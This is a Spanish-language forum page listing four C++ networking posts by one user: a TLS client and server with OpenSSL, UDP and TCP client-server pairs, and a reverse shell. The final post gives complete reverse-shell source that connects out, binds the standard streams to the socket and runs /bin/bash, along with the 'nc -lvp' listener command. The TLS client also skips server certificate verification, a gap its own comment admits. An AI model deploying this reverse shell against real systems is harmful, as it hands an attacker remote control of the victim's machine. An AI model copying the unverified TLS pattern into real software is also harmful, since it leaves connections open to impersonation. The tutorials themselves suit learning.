Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - loris24

#1
C / C++ / servidor y cliente tcp utilizando SSL/TLS
Enero 10, 2026, 02:08:48 PM
Buenas chicos.

Continuo avanzando en el tema de redes y empiezo a traeros cosas mas avanzadas.

Esta vez os traigo sockets utilizando SSL/TLS.

Para introducir un poco de teoria... SSL/TLS no es mas que un protocolo que provee de un canal seguro a TCP.
Recordemos que la mayor virtud de TCP es que provee un canal "fiable" pero no seguro, no cifrado. TCP se encarga por supuesto
de la retransmision de las tramas y el seguimiento de las mismas mediante los ISN y las flags SYN y ACK, pero el payload del header TCP
viaja en texto plano, en bytes crudos; SSL/TLS es nuestro proveedor de seguridad, y os preguntareis los mas nuevos: ¿en que consiste? Pues
yo lo definiria como un "wrapper" sobre los sockets tcp y las versiones de TLS correspondientes para udp. Nosotros con SSL/TLS lo que hacemos
es iniciar la conexion como normalmente lo hariamos pero una vez iniciada, utilizamos la api de ssl para cifrar los datos que viajan a traves
de nuestro socket. No voy a extenderme mas en esto para no aburrir, pero el handshake TLS consiste en el siguiente proceso:

1-El cliente envia una cipher suite al servidor, que no es mas que un documento mediante el cual cliente le dice al servidor que algoritmos de cifrado soporta y el servidor "escogera" el mejor algoritmo de cifrado que ambos soportan.

2-Posteriormente el servidor envia el bien conocido certificado SSL al cliente. Esto no es mas que un documento emitido, generalmente, por un tercero
que garantiza que el servidor es quien dice ser. Un ejemplo de compañia que emite estos certificados es digicert. Esto resulta necesario puesto
que podemos pensar que un atacante puede hacerse pasar por nuestra entidad bancaria y dejarnos con el culo al aire. 

3-Una vez el cliente recibe el certificado comprueba que esta firmado por alguna de las entidades en quien este confia. Las entidades que hemos hablado en el punto anterior.

4-Cuando se termina este proceso de verificacion de identidad comenzamos el proceso para obtener nuestra clave para cifrar nuestros datos en el envio. Generalmente se utiliza un algoritmo de cifrado simetrico dada su mayor eficiencia con respecto a su allegado asimetrico. Para que ambas partes obtengan la clave secreta se utiliza un algoritmo de intercambio de claves como diffie-helman. Este proceso de iniciar el algoritmo de intercambio de claves es completamente transparente para nosotros. Lo unico que tenemos que hacer es encarganos de proveer un certificado a nuestro servidor y su clave privada para que pueda firmar la autenticacion de identidad de la que hablabamos en el punto 2.

Con esto teneis una idea aproximada de como es que se protegen vuestros datos cuando meteis vuestra tarjeta en una pasarela de pago o demas...

Bueno, basta de perorata y vayamos con el codigo.

El funcionamiento es sencillo, servidor y cliente, el cliente se conecta al servidor por puerto 9999 y le envia mensajes por consola.
El servidor los imprime por pantalla.

Os recomiendo que le echeis un vistazo a los mensajes con wireshark, asi podreis notar la diferencia con los anteriores codigos.

Para compilarlos necesitais la libreria de openssl, la instalais y luego, para compilar, ejecutais los comandos:

g++ You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login -o server -lssl -lcrypto          **esto es para el servidor
g++ You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login -o client -lssl -lcrypto          **esto es para el cliente

Tambien, teneis que crear un certificado ssl y firmarlo vosotros mismos. Antes de compilar el You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login y el You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

openssl req -x509 -newkey rsa:2048 -nodes -sha256 -keyout key.pem -out cert.pem -days 365

Esto os creara un key.pem y un cert.pem que ya vereis como se utilizan en el codigo del servidor.

Bueno, me despido. ¡Un saludo!


codigo del servidor:

Código: text
#include <arpa/inet.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <iostream>
#include <netdb.h>
#include <cstring>
#include <cstdlib>

//librerias para utilizar SSL/TLS
#include <openssl/crypto.h>
#include <openssl/x509.h>
#include <openssl/pem.h>
#include <openssl/ssl.h>
#include <openssl/err.h>


#define IP_SERV NULL 
//especifico null porque quiero que mi SO me asigne la direccion de loopback para el servidor
#define IP_PORT "9999"




int main(int argc, char ** argv){

	//esto es simplemente para inicializar la libreria de openssl
	SSL_library_init();
	OpenSSL_add_all_algorithms();	//carga todos los algoritmos de cifrado
	SSL_load_error_strings();

	SSL_CTX *contexto = SSL_CTX_new(TLS_server_method());		//esto se va a utilizar para el handshake tls
	if(!contexto){
		std::cerr << "An error has ocurred while creating context" << std::endl;
		return -1;
	}


	int res_cert = SSL_CTX_use_certificate_file(contexto, "cert.pem", SSL_FILETYPE_PEM);
	int res_privkey = SSL_CTX_use_PrivateKey_file(contexto, "key.pem", SSL_FILETYPE_PEM);

	if(!res_cert || !res_privkey){
		std::cerr << "An error has ocurred while loading cert and key" << std::endl;
		ERR_print_errors_fp(stderr);
		return -1;
	}


	//creamos nuestro socket con normalidad
	struct addrinfo base;
	memset(&base, 0, sizeof base);
	base.ai_family = AF_INET; //IPV4
	base.ai_socktype = SOCK_STREAM; //TCP
	base.ai_flags = AI_PASSIVE; //server
	struct addrinfo *res;


	if(getaddrinfo(IP_SERV, IP_PORT, &base, &res) < 0){
		std::cerr << "An error has ocurred in getaddrinfo()" << std::endl;
		return -1;
	}

	int sock_listen = socket(
		res -> ai_family,
		res -> ai_socktype,
		res -> ai_protocol
		);

	if(sock_listen < 0){
		std::cerr << "An error has ocurred while creating socket" << std::endl;
		return -1;
	}

	if(bind(sock_listen, res -> ai_addr, res -> ai_addrlen) < 0){
		std::cerr << "An error has ocurred while binding ip to host" << std::endl;
		return -1;
	}

	if(listen(sock_listen, 10) < 0){
		std::cerr << "An error has ocurred while listening" << std::endl;
		return -1;
	}

	//creamos estas estructuras para obtener la informacion del cliente
	struct sockaddr_storage client_info;
	socklen_t size_client = sizeof(client_info);


	int sock_client = accept(
		sock_listen,
		(struct sockaddr *)&client_info,
		&size_client
		);

	if(sock_client < 0){
		std::cerr << "An error has ocurred while accepting new connections" << std::endl;
		return -1;
	}


	SSL *ssl = SSL_new(contexto);
	if(!ssl){
		std::cerr << "An error has ocurred while creating SSL objetct" << std::endl;
		return -1;
	}

	SSL_set_fd(ssl, sock_client);
	if(SSL_accept(ssl) <= 0){
		std::cerr << "SSL_accept() failed" << std::endl;
		ERR_print_errors_fp(stderr);
		SSL_shutdown(ssl);
		close(sock_client);
		SSL_free(ssl);
		return -1;
	}

	//vamos a empezar a recibir mensajes

	bool terminado = false;

	while(!terminado){
		char buff[1024];
		int bytes_received = SSL_read(ssl, buff, 1024);

		if(bytes_received < 0){
			std::cerr << "An error has ocurred while doing SSL_read()" << std::endl;
			break;
		}else if(bytes_received == 0){
			std::cout << "Connection closed" << std::endl;
			break;
		}else{
			printf("%.*s", bytes_received, buff);
		}
		
	}

	SSL_shutdown(ssl);
	close(sock_client);
	SSL_free(ssl);

	SSL_CTX_free(contexto),
	close(sock_listen);


	return 0;
}

Codigo del cliente:
Código: text
#include <arpa/inet.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <iostream>
#include <netdb.h>
#include <cstring>
#include <cstdlib>
#include <sys/select.h>

//librerias para utilizar SSL/TLS
#include <openssl/crypto.h>
#include <openssl/x509.h>
#include <openssl/pem.h>
#include <openssl/ssl.h>
#include <openssl/err.h>


#define IP_SERV "127.0.0.1" 
#define IP_PORT "9999"


int main(int argc, char **argv){


	SSL_library_init();
	OpenSSL_add_all_algorithms();	//carga todos los algoritmos de cifrado
	SSL_load_error_strings();

	SSL_CTX *contexto = SSL_CTX_new(TLS_client_method());
	if(!contexto){
		/*
		Se puede utilizar la funcion de la libreria
		openssl para obtener los errores que han ocurrido
		*/
		std::cerr << "An error has ocurred while creating context" << std::endl;
		return -1;

	}


	//creamos nuestro socket con normalidad

	struct addrinfo base;
	memset(&base, 0, sizeof base);
	base.ai_socktype = SOCK_STREAM;
	struct addrinfo *res;

	if(getaddrinfo(IP_SERV, IP_PORT, &base, &res) < 0){
		std::cerr << "An error has ocurred while using getaddrinfo()" << std::endl;
		return -1;
	}

	int sock_client = socket(
		res -> ai_family,
		res -> ai_socktype,
		res -> ai_protocol
		);
	
	if(sock_client < 0){
		std::cerr << "An error has ocurred while creating socket" << std::endl;
		return -1;
	}

	if(connect(sock_client, res -> ai_addr, res -> ai_addrlen) < 0){
		std::cerr << "An error has ocurred while connecting to serv" << std::endl;
		return -1;
	}
	freeaddrinfo(res); //liberamos espacio que ya no necesitamos

	/*
	aqui deberiamos de comprobar los certificados del servidor
	pero este paso nos lo vamos a saltar
	*/

	SSL *ssl = SSL_new(contexto);
	if(!ssl){
		std::cerr << "SSL_new() failed" << std::endl;
	}
	SSL_set_fd(ssl, sock_client);

	if(SSL_connect(ssl) <= 0){
		std::cerr << "An error has ocurred while doing the tls handshake" << std::endl;
		ERR_print_errors_fp(stderr);
		SSL_shutdown(ssl);
		close(sock_client);
		SSL_free(ssl);
		return -1;
	}



	//ya podemos utilizar nuestro socket ssl
	bool terminado = false;
	while(!terminado){

		//manejamos entrada por stdin
		fd_set out;
		FD_ZERO(&out);
		FD_SET(1, &out);
		int max_fd = 1;
		int res_select = select(max_fd + 1, &out, 0, 0, 0);

		if(res_select < 0){
			std::cerr << "An error has ocurred with select" << std::endl;
			break;
		}else{

			char buff[1024];
			if(!fgets(buff, 1024, stdin)) break;

			int bytes_sent = SSL_write(ssl, buff, 1024);

			if(bytes_sent == 0){
				std::cout << "Connection closed" <<std::endl;
				break;
			}else if(bytes_sent < 0){
				std::cerr << "An error has ocurred with SSL_write()" << std::endl;
				break;
			}else{
				std::cout << "Bytes sent:" << bytes_sent << std::endl;
			}
		}
	}


	SSL_shutdown(ssl);
	close(sock_client);
	SSL_free(ssl);
	SSL_CTX_free(contexto);


	return 0;

}

#2
C / C++ / servidor y cliente udp [simple]
Enero 09, 2026, 11:52:47 AM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Buenas chicos.

Os traigo un cliente y servidor udp sencillos. El funcionamiento es simple. El cliente realiza una conexion
con el servidor enviandole datos recogidos por consola y el servidor los imprime por pantalla.

Si habeis seguido los hilos anteriores podreis notar la clasica diferencia de la conexion en ambos
protocolos. TCP es orientado a conexion pero UDP no. En estos codigos podeis ver exhibidos, a mi juicio, de manera sencilla lo anterior expuesto.
Proximamente os traere más.

¡Un saludo!


codigo del cliente:
Código: text
#include <iostream>
#include <unistd.h>
#include <sys/types.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <cstring>
#include <iostream>
#include <sys/select.h>



#define IP_SERVER ("127.0.0.1")
#define PORT_SERVER ("9999")

int main(int argc, char **argv ){


    struct addrinfo base;
    memset(&base, 0, sizeof base);
    base.ai_socktype = SOCK_DGRAM;
    struct addrinfo *res;

    if(getaddrinfo(IP_SERVER, PORT_SERVER, &base, &res) < 0){
        std::cerr << "An error has ocurred in getaddrinfo" << std::endl;
        std::cerr << "exiting..." << std::endl;
        return -1;
    }

    int sock = socket(
        res -> ai_family, 
        res -> ai_socktype,
        res -> ai_protocol 
        );

    if(sock < 0){
        std::cerr << "An error has ocurred while creating socket" <<std::endl;
        return -1;
    }


    //ya podemos enviar y recibir con nuestro socket
    //a diferencia de tcp ya no es necesario establecer una conexion con el servidor


    bool terminado = false;
    while(!terminado){ //atencion, bucle infinito, parar con CTRL+C

        //manejamos entrada por stdin
        fd_set out;
        FD_ZERO(&out);
        FD_SET(1, &out);
        int max_fd = 1;

        int res_sel = select(max_fd + 1, &out, 0, 0, 0);

        if(res_sel  < 0){
            std::cerr << "An error has ocurred while doing select" << std::endl;
            return -1;
        }else{

            //aqui ya podemos recoger entrada por terminal
            char buff[1024];
            if(!fgets(buff, 1024, stdin)) break;

            int bytes_sent = sendto(
                sock,
                buff,
                1024,
                0,
                res -> ai_addr,
                res -> ai_addrlen
                );


            if(bytes_sent < 0){
                std::cerr << "An error has ocurred while sending bytes" << std::endl;
                break;
            }
            
            std::cout << "Bytes sent: "<< bytes_sent << std::endl;
        }
    }

    close(sock);
    return 0;
}

Codigo del servidor:
Código: text
#include <netdb.h>
#include <iostream>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <sys/socket.h>
#include <cstring>
#include <cstdlib>


#define SERVER_IP NULL
/*
le digo que es null porque quiero que mi
sistema operativo me asigne la direccion de loopback
*/
#define PORT_SERVER ("9999")


int main(int argc, char **argv){



    struct addrinfo base;
    memset(&base, 0, sizeof base);
    base.ai_family = AF_INET;
    base.ai_socktype = SOCK_DGRAM;
    base.ai_flags = AI_PASSIVE;
    struct addrinfo *res;


    if(getaddrinfo(SERVER_IP, PORT_SERVER, &base, &res) < 0){
        std::cerr << "An error has ocurred with the getaddrinfo" << std::endl;
        std::cerr << "exiting..." << std::endl;
        return -1;
    }

    int sock = socket(
        res -> ai_family,
        res -> ai_socktype,
        res -> ai_protocol
        );

    if(sock < 0){
        std::cerr << "An error has ocurred while creating socket" << std::endl;
        return -1;
    }

    if(bind(sock, res -> ai_addr, res -> ai_addrlen) < 0){
        std::cerr << "An error has ocurred while binding ip to socket" << std::endl;
        return -1;
    }

    //ya podemos utilizar nuestro socket para recibir mensajes

    bool terminado = false;
    
    while(!terminado){ //atencion, bucle infinito, parar con CTRL+C

        struct sockaddr_storage client; //esta estructura sirve simplemente para almacenar informacion del cliente
        socklen_t client_size = sizeof client; 
        char buff[1024]; //aqui recibimos los mensajes

        int bytes_received = recvfrom(
            sock,
            buff,
            1024,
            0,
            (struct sockaddr *)&client,
            &client_size
            );

        if(bytes_received == 0){
            std::cout << "Connection closed by peer" << std::endl;
            break;
        }

        if(bytes_received < 0){
            std::cerr << "An error has ocurred in recvfrom" << std::endl;
            return -1;
        }


        char client_buffer[128];
        char port_buffer[128];

        getnameinfo(
            (struct sockaddr *)&client,
            client_size,
            client_buffer,
            128,
            port_buffer,
            128,
            NI_NUMERICHOST | NI_NUMERICSERV
            );

        std::cout << "ip:" << client_buffer << std::endl;
        std::cout << "port:" << port_buffer << std::endl;
        printf("%.*s", bytes_received, buff);


    }

    close(sock);

    return 0;
}

#3
C / C++ / servidor y cliente tcp [simple]
Enero 08, 2026, 07:11:40 PM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Buenas chicos.

Siguiendo la linea del hilo anterior os dejo por aqui mas codigo de redes.
En este caso son un simple cliente y servidor tcp.

El funcionamiento es sencillo. El cliente recoge mensajes por stdin y luego los envia al servidor, y éste, los imprime por pantalla.
Son codigos cortos escritos al momento, pensados para aprender mas que nada. Iré subiendo cada vez codigos mas complicados implementando funcionalidades mas complejas.


Este es el codigo del cliente:

Código: text
#include <sys/types.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <iostream>
#include <cstring>
#include <sys/select.h>



#define IP_SERVER ("127.0.0.1")
#define PORT ("9999")

int main(int argc, char **argv){


    struct addrinfo base;
    memset(&base, 0, sizeof base);
    base.ai_socktype = SOCK_STREAM;
    struct addrinfo *res;

    if(getaddrinfo(IP_SERVER, PORT, &base, &res) < 0){
        std::cerr << "An error has ocurred with getaddrinfo" << std::endl;
        std::cerr << "exiting..." << std::endl;
        return -1;
    }

    int sock = socket(
        res -> ai_family,
        res -> ai_socktype,
        res -> ai_protocol
        );

    if(sock < 0){
        std::cerr << "Error creating socket" << std::endl;
        std::cerr << "exiting..." << std::endl; 
        return -1;
    }

    if(connect(sock, res -> ai_addr, res -> ai_addrlen) < 0){
        std::cerr << "An error has ocurred while connecting to server" << std::endl;
        return -1;
    }

    freeaddrinfo(res);

    //ya podemos enviar y recibir !
    bool terminado = false;
    while(!terminado){ //cuidado! bucle infinito. Terminar con un CTRL+C

        fd_set out;
        FD_ZERO(&out);
        FD_SET(1, &out);
        int max_socket = 1;

        int res_select = select(max_socket + 1, &out, 0, 0, 0); 
        //utilizamos select para probar si el descriptor stdin tiene entrada disponible

        if(res_select < 0){
            std::cerr << "An error has ocurred with select" << std::endl;
            return -1;
        }else{

            char buff[1024];
            if(!fgets(buff, 1024, stdin)) break;

            int bytes_sent = send(
                sock, 
                buff, 
                1024, 
                0);
            if(bytes_sent <= 0){
                std::cout << "Connection closed by server" << std::endl;
                break;
            }else{
                std::cout << "Bytes sent:"<< bytes_sent << std::endl;
            }

        }

    }

    close(sock);

    return 0;
}


Este es el codigo del servidor:

Código: text
#include <sys/types.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <iostream>
#include <cstring>
#include <sys/select.h>
#include <cstdlib>



#define IP_SERVER NULL 
/*
la definimos como nulo porque quiero que 
el SO me asigne la direccion de loopback
*/

#define PORT_SERVER ("9999")

int main(int argc, char **argv){


    struct addrinfo base;
    memset(&base, 0, sizeof base);
    base.ai_family = AF_INET;
    base.ai_socktype = SOCK_STREAM;
    base.ai_flags = AI_PASSIVE;
    struct addrinfo *res;

    if(getaddrinfo(IP_SERVER, PORT_SERVER, &base, &res) < 0){
        std::cerr << "An error has ocurred with getaddrinfo" << std::endl;
        std::cerr << "exiting..." << std::endl;
        return -1;
    }

    int sock_listen = socket(
        res -> ai_family,
        res -> ai_socktype,
        res -> ai_protocol
        );

    if(sock_listen < 0){
        std::cerr << "Error creating the socket to listen connections" << std::endl;
        std::cerr << "exiting..." << std::endl;
        return -1;
    }

    if(bind(sock_listen, res -> ai_addr, res -> ai_addrlen) < 0){
        std::cerr << "Error binding the ip to socket" << std::endl;
        std::cerr << "exiting..." << std::endl;
        return -1;
    }


    if(listen(sock_listen, 10) < 0){
        std::cerr << "An error has ocurred while listening to entry connections" << std::endl;
        return -1;
    }

    struct sockaddr_storage client_ip;
    socklen_t size_client = sizeof client_ip;

    int sock_peer = accept(

        sock_listen,
        (struct sockaddr *)&client_ip,
        &size_client
        );

    //accept nos devuelve el socket por el que 'hablaremos' con la conexion entrante


    if(sock_peer < 0){
        std::cerr << "An error has ocurred while accepting socket" << std::endl;
        return -1;
    }

    //ya podemos hablar con a traves de sock_peer
    //imprimimos a continuacion la ip del host que se acaba de conectar

    char buff_host[128];
    char buff_port[128];

    getnameinfo(
        (struct sockaddr *)&client_ip,
        size_client,
        buff_host,
        128,
        buff_port,
        128,
        NI_NUMERICHOST | NI_NUMERICSERV
        );

    std::cout << "Host connected:" << std::endl;
    std::cout << "Ip:"<< buff_host << std::endl;
    std::cout << "Port:" << buff_port << std::endl;



    bool terminado = false;
    while(!terminado){ //cuidado, parar bucle con CTRL+C

        //aqui es donde recibimos e imprimimos el mensaje
        char buff_recv[1024];
        int bytes_received = recv(sock_peer,
            buff_recv,
            1024,
            0);

        if(bytes_received == 0){
            std::cout << "Connection closed by host" << std::endl;
            break;
        }

        if(bytes_received < 0){
            std::cout << "Connection error" << std::endl;
            break;
        }
        printf("%.*s\n", bytes_received, buff_recv);

    }
    close(sock_listen);
    return 0;

}

#4
C / C++ / reverse shell C++
Enero 08, 2026, 06:12:12 PM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Muy buenas chicos.

Os dejo por aqui una simple reverse shell que me apetecia hacer desde hace unos dias y que no daba encontrado el momento hasta ahora.

Os ire subiendo versiones mas completas y complejas. No hace falta decir que esto es con motivos didacticos y os aconsejo que tengais cuidado con como utilizais estas cosas.

Para probarla, ya sabeis, abrís un puerto con lo tipico... "nc -lvp <puerto a abrir>" y ya podeis poneros a jugar un poco con ello.

Tal vez suba implementaciones de RFC un poco mas completas y con explicacion merecida. ¡Un saludo!


Código: text
#include <iostream>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <errno.h>
#include <cstring>
#include <cstdlib>
#include <sys/wait.h>
#include <sys/socket.h>
#include <netdb.h>

#define IP_SERVER ("127.0.0.1")
#define PORT_SERVER ("9999")


int main(int argc, char ** argv){


    struct addrinfo base;
    memset(&base, 0, sizeof base);
    base.ai_socktype = SOCK_STREAM;
    struct addrinfo *res;
    int status;

    if(getaddrinfo(IP_SERVER, PORT_SERVER, &base, &res) < 0){
        std::cerr << "An error has ocurred in calling getaddrinfo" << std::endl;
        std::cerr << "exiting..." << std::endl;
        return -1;
    }

    int sock = socket(
        res -> ai_family,
        res -> ai_socktype,
        res -> ai_protocol
        );

    if(sock < 0){
        std::cerr << "An error has ocurred while creating socket" << std::endl;
        std::cerr << "exiting..." << std::endl;
        return -1;
    }

    if(connect(sock, res -> ai_addr, res -> ai_addrlen) < 0){
        std::cerr << "An error has ocurred while connecting" << std::endl;
        std::cerr << "exiting..." << std::endl;
        return -1;
    }
    freeaddrinfo(res);

    //ya podemos enviar y recibir

    pid_t pid = fork();

    if(pid < 0){
        std::cerr << "An error has ocurred while doing fork" << std::endl;
        std::cerr << "exiting..." << std::endl;
    }else if(pid == 0){

        //aqui estamos en el hijo
        //vamos a manipular los descriptores y a duplicarlos con el descriptor del socket
        int res_out = dup2(sock, 0); //stdout
        int res_in = dup2(sock, 1); //stdin
        int res_err = dup2(sock, 2); //stderr

        if(res_out < 0 || res_in < 0 || res_err < 0){
            //no se pudieron duplicar los descriptores
            exit(EXIT_FAILURE);
        }else{
            execv("/bin/bash", NULL); //ejecutamos nuestra shell
        }
    }else{
        //aqui estamos en el padre
        std::cout << "pid hijo:" << pid <<std::endl;
        waitpid(pid, &status, 0);
        std::cout << "proceso terminado correctamente" << std::endl;
    }

    close(sock);

    return 0;

}